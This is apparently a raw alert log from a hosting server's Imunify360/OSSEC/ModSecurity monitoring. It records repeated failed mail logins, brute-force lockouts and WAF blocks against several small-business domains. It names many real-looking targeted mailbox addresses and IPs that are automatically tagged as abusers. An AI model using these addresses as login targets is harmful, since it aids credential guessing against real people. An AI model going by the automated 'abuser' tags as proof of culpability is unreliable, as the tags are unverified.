Feb  1 21:29:53 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account enquiry@smartcable.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:29:08 dovecot_login authenticator failed for H=(BG587s8B) [158.94.208.175]:53265: 535 Incorrect authentication data (set_id=stacy@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:29:49 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38420: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:30:02 dovecot_login authenticator failed for H=(GYtrcXsQAS) [158.94.208.175]:61677: 535 Incorrect authentication data (set_id=stacy@ktlog.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 21:30:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account enquiry@smartcable.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:30:27 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58091: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:30:14 dovecot_login authenticator failed for H=(dmMwiW) [178.16.52.139]:57906: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.228.24.240
country_id: 6252001
description:
2026-02-01 21:30:04 dovecot_login authenticator failed for H=([10.21.18.142]) [140.228.24.240]:36631: 535 Incorrect authentication data (set_id=munch@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.123.183.175
country_id: 3437598
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&page_id=1&sub=33 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:30:12 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53758: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:31:02 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62186: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-01 21:31:13 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:49352: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:31:14 dovecot_login authenticator failed for H=(wGwGjC68F) [178.16.52.139]:65187: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 21:31:24 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:52424: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:31:28 dovecot_login authenticator failed for H=(86qWcCrz) [158.94.208.175]:53935: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:32:14 dovecot_login authenticator failed for H=(fZ4Kr2s) [178.16.52.139]:50878: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:32:51 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 21:32:38 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:57348: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.141.216.143
country_id: 298795
description:
2026-02-01 21:32:57 dovecot_login authenticator failed for H=([31.141.216.143]) [31.141.216.143]:39640: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:32:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62958: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:32:26 dovecot_login authenticator failed for H=(w80IiAV) [158.94.208.175]:61513: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 21:32:55 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:34882: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:32:03 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38252: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.187.47
country_id: 99237
description:
2026-02-01 21:32:23 dovecot_login authenticator failed for H=([65.20.187.47]) [65.20.187.47]:57318: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.161.93.53
country_id: 1269750
description:
2026-02-01 21:32:35 dovecot_login authenticator failed for H=([103.161.93.53]) [103.161.93.53]:6610: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:33:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57400: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-02-01 21:33:47 dovecot_login authenticator failed for H=([122.187.230.227]) [122.187.230.227]:45679: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:33:06 dovecot_login authenticator failed for H=(TLXzCVh) [178.16.52.139]:58213: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-02-01 21:33:07 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:56024: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:33:15 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58987: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-02-01 21:33:36 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:59225: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:33:43 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:33:45 dovecot_login authenticator failed for H=(ryBCDJs0) [158.94.208.175]:62989: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:34:09 dovecot_login authenticator failed for H=(Jhd3Y3) [178.16.52.139]:62351: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:34:10 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:34:18 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36282: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 136.158.70.181
country_id: 1694008
domain: autogreastar.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:24424.autogreastar.com.my||ServerName:autogreastar.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e2971910438b60a9829b9e660774fa81390de131||Title:0xdf4d6bed||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.182.11.186
country_id: 1269750
domain: autogreastar.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:58173.autogreastar.com.my||ServerName:autogreastar.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b88c9ddab5322385f337bbbe62f1e78e05aa4a13||Title:0x17d6f500||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:34:12 dovecot_login authenticator failed for H=(mz2H7JP1) [158.94.208.175]:60945: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:34:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52612: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.158.96.235
country_id: 3996063
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/\xe3\x82\xad\xe3\x83\xa3\xe3\x83\xb3\xe3\x83\x90\xe3\x82\xb9/images/banner1.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-02-01 21:35:44 dovecot_login authenticator failed for H=([119.198.191.180]) [119.198.191.180]:54055: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:35:02 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61244: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.28.189.55
country_id: 294640
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/\xe3\x82\xad\xe3\x83\xa3\xe3\x83\xb3\xe3\x83\x90\xe3\x82\xb9/images/logo.png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:35:27 dovecot_login authenticator failed for H=(820pHPd) [178.16.52.139]:58226: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.186.68.145
country_id: 1269750
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/\xe3\x82\xad\xe3\x83\xa3\xe3\x83\xb3\xe3\x83\x90\xe3\x82\xb9/images/banner3.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.48.90.105
country_id: 3865483
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/\xe3\x82\xad\xe3\x83\xa3\xe3\x83\xb3\xe3\x83\x90\xe3\x82\xb9/images/banner4.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.31.249.212
country_id: 1562822
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/\xe3\x82\xad\xe3\x83\xa3\xe3\x83\xb3\xe3\x83\x90\xe3\x82\xb9/images/banner2.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:35:05 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.51.120.0
country_id: 1269750
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/veterinarymedicine/thesis/old/images/logo.png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.215.33.167
country_id: 192950
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/veterinarymedicine/thesis/old/images/banner2.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:35:07 dovecot_login authenticator failed for H=(LtuHnOx) [158.94.208.175]:49272: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.158.120.38
country_id: 1269750
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/veterinarymedicine/thesis/old/images/banner3.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.165.172.38
country_id: 1835841
description:
2026-02-01 21:35:25 dovecot_login authenticator failed for H=([221.165.172.38]) [221.165.172.38]:40494: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:35:27 dovecot_login authenticator failed for H=(ESDpcgj) [178.16.52.139]:52562: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.97.220.66
country_id: 1269750
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/veterinarymedicine/thesis/old/images/logo-(3).png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.88.110.21
country_id: 2328926
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/\xe3\x82\xad\xe3\x83\xa3\xe3\x83\xb3\xe3\x83\x90\xe3\x82\xb9/images/logo-(3).png HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.158.28.80
country_id: 3686110
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/veterinarymedicine/thesis/old/images/banner1.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:36:20 dovecot_login authenticator failed for H=(r5TJdm) [178.16.52.139]:54314: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:36:32 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36130: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:36:12 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58163: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 167.148.167.71
country_id: 6252001
description:
2026-02-01 21:36:18 H=([167.148.167.71]) [167.148.167.71]:51019 F=<Server@ktlog.com.my> rejected RCPT <natasya@ktlog.com.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.217.108.153
country_id: 2017370
description:
2026-02-01 21:36:34 dovecot_login authenticator failed for H=(178-217-108-153.u-lan.ru) [178.217.108.153]:49748: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.114.84.246
country_id: 1814991
description:
2026-02-01 21:36:16 dovecot_login authenticator failed for H=([116.114.84.246]) [116.114.84.246]:40082: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.102.48.129
country_id: 1814991
description:
2026-02-01 21:36:33 dovecot_login authenticator failed for H=([112.102.48.129]) [112.102.48.129]:39904: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:36:28 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.168.250.114
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=4&page_id=1&sub=2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.255.212.178
country_id: 732800
description:
2026-02-01 21:36:33 dovecot_login authenticator failed for H=([185.255.212.178]) [185.255.212.178]:22413: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.232.161.15
country_id: 1814991
description:
2026-02-01 21:36:51 dovecot_login authenticator failed for H=([116.232.161.15]) [116.232.161.15]:60371: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.225.42.158
country_id: 719819
description:
2026-02-01 21:36:56 dovecot_login authenticator failed for H=netacc-gpn-5-42-158.pool.yettel.hu [84.225.42.158]:53224: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:36:02 dovecot_login authenticator failed for H=(MZRSNoRx) [158.94.208.175]:49714: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.205.103.66
country_id: 1835841
description:
2026-02-01 21:36:13 dovecot_login authenticator failed for H=([175.205.103.66]) [175.205.103.66]:40417: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 21:37:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.18.148.10
country_id: 1814991
description:
2026-02-01 21:37:34 dovecot_login authenticator failed for H=(hebei.18.121.in-addr.arpa) [121.18.148.10]:42322: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.214.117.54
country_id: 953987
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=34351516691467 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 21:37:51 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:57144: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:37:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54957: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:37:16 dovecot_login authenticator failed for H=(LHiHiO) [178.16.52.139]:54252: 535 Incorrect authentication data (set_id=enquiry@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.5.113.133
country_id: 3865483
description:
2026-02-01 21:37:17 dovecot_login authenticator failed for H=(host133.advance.com.ar) [200.5.113.133]:18577: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:37:25 dovecot_login authenticator failed for H=(8vKaUuUQ5) [158.94.208.175]:55174: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.132.221.102
country_id: 1210997
description:
2026-02-01 21:37:03 dovecot_login authenticator failed for H=([103.132.220.252]) [103.132.221.102]:39912: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:37:21 dovecot_login authenticator failed for H=(bStn2uzr) [178.16.52.139]:56459: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-02-01 21:37:57 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:42868: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.254.26
country_id: 1814991
description:
2026-02-01 21:38:11 dovecot_login authenticator failed for H=([116.113.254.26]) [116.113.254.26]:34198: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:38:20 dovecot_login authenticator failed for H=(faWVLevQ6) [158.94.208.175]:49523: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.190.173.110
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/services.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:38:03 dovecot_login authenticator failed for H=(o0noQtwM) [178.16.52.139]:55062: 535 Incorrect authentication data (set_id=jasinpack@jpack.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:38:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64135: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.197.117.245
country_id: 6252001
description:
2026-02-01 21:38:16 dovecot_plain authenticator failed for H=(depen) [67.197.117.245]:51134: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 21:38:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account enquiry@smartcable.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 21:38:45 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47844: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.230.86.50
country_id: 6252001
description:
2026-02-01 21:39:37 dovecot_plain authenticator failed for H=c-73-230-86-50.hsd1.pa.comcast.net (thomed) [73.230.86.50]:60154: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.164.251.182
country_id: 6252001
description:
2026-02-01 21:39:50 dovecot_login authenticator failed for H=216-164-251-182.s9140.c3-0.eas-cbr4.atw-eas.pa.cable.rcncustomer.com [216.164.251.182]:43000: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 21:39:16 dovecot_login authenticator failed for H=(DYIamA) [158.94.208.175]:63404: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:39:18 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59770: 535 Incorrect authentication data (set_id=admin@oxbold.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.207.9.39
country_id: 1269750
description:
2026-02-01 21:39:32 dovecot_login authenticator failed for H=(49.207.9.39.actcorp.in) [49.207.9.39]:56602: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:39:18 dovecot_login authenticator failed for H=(oxOPMceu) [178.16.52.139]:58682: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 21:39:34 dovecot_login authenticator failed for H=(1fRNoQe) [178.16.52.139]:65362: 535 Incorrect authentication data (set_id=ajpsales@essemgroup.net)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 21:39:36 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account enquiry@smartcable.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 21:39:55 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account jasinpack@jpack.com.my has been locked for the attacker IP 178.16.52.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.223.144
country_id: 1835841
description:
2026-02-01 21:40:51 dovecot_login authenticator failed for H=([220.80.223.144]) [220.80.223.144]:47346: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 21:40:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57622: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 178.16.52.139
country_id: 2921044
description:
Feb  1 21:40:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account enquiry@smartcable.com.my has been temporarily locked by Imunify PAM(178.16.52.139)


plugin: ossec
